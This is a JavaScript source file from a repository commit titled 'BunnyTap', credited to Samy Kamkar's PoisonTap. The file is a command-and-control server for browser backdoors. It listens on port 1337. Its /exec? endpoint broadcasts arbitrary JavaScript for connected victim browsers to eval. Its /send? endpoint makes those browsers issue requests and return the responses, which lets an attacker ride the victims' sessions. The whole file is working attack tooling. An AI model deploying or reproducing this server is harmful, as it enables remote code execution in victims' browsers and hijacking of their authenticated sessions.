Whistle Master 5dcef93e60 BunnyTap
2017-03-12 10:58:11 +01:00

94 lines
2.4 KiB
JavaScript
Executable File

// PoisonTap by Samy Kamkar - https://samy.pl/poisontap
//var _ = require('underscore')
var WebSocketServer = require('websocket').server
var webSocketsServerPort = 1337
var http = require('http')
var conns = []
var gr
var server = http.createServer((request, response) => {
console.log((new Date()) + ' HTTP server. URL ' + request.url + ' requested.')
if (request.url.indexOf('/exec?') === 0)
{
response.writeHead(404, {'Content-Type': 'text/html'})
for (var i in conns)
conns[i].sendUTF(JSON.stringify({ request: 'eval', content: request.url.substr(6) }))
response.end("sent")
}
else if (request.url.indexOf('/send?') === 0)
{
response.writeHead(404, {'Content-Type': 'text/html'})
for (var i in conns)
conns[i].sendUTF('{"' + decodeURI(request.url.substr(6)).replace(/"/g, '\\"').replace(/&/g, '","').replace(/=/g,'":"') + '"}')
var checkgr = () =>
{
if (gr)
{
response.end(gr)
gr = ""
}
else
setTimeout(checkgr, 500)
}
checkgr()
}
else if (request.url === '/status')
{
response.writeHead(200, {'Content-Type': 'application/json'})
var responseObject = {
currentClients: 1234,
totalHistory: 567
}
response.end(JSON.stringify(responseObject))
}
else {
response.writeHead(404, {'Content-Type': 'text/html'})
response.end('Sorry, unknown url')
}
})
server.listen(webSocketsServerPort, () => {
console.log((new Date()) + " Server is listening on port " + webSocketsServerPort)
})
// create the server
wsServer = new WebSocketServer({
httpServer: server
})
function handleReq(obj, con)
{
if (obj.request === 'getresponse')
gr = obj.html
}
wsServer.on('request', (request) => {
var obj
var connection = request.accept(null, request.origin)
conns.push(connection)
connection.on('request', (message) => {
console.log('request: ' + message)
})
connection.on('message', (message) => {
try { obj = JSON.parse(message.utf8Data) } catch(e) { }
console.log('message: ' + message.utf8Data)
console.log(obj)
if (typeof(obj) === 'object')
handleReq(obj, connection)
else
connection.sendUTF('hello')
})
// remove connection from our list
connection.on('close', connection => {
console.log('connection closed')
for (var i in conns)
if (conns[i] == connection)
//if (_.isEqual(conns[i], connection)) // XXX
conn.splice(i, 1)
})
})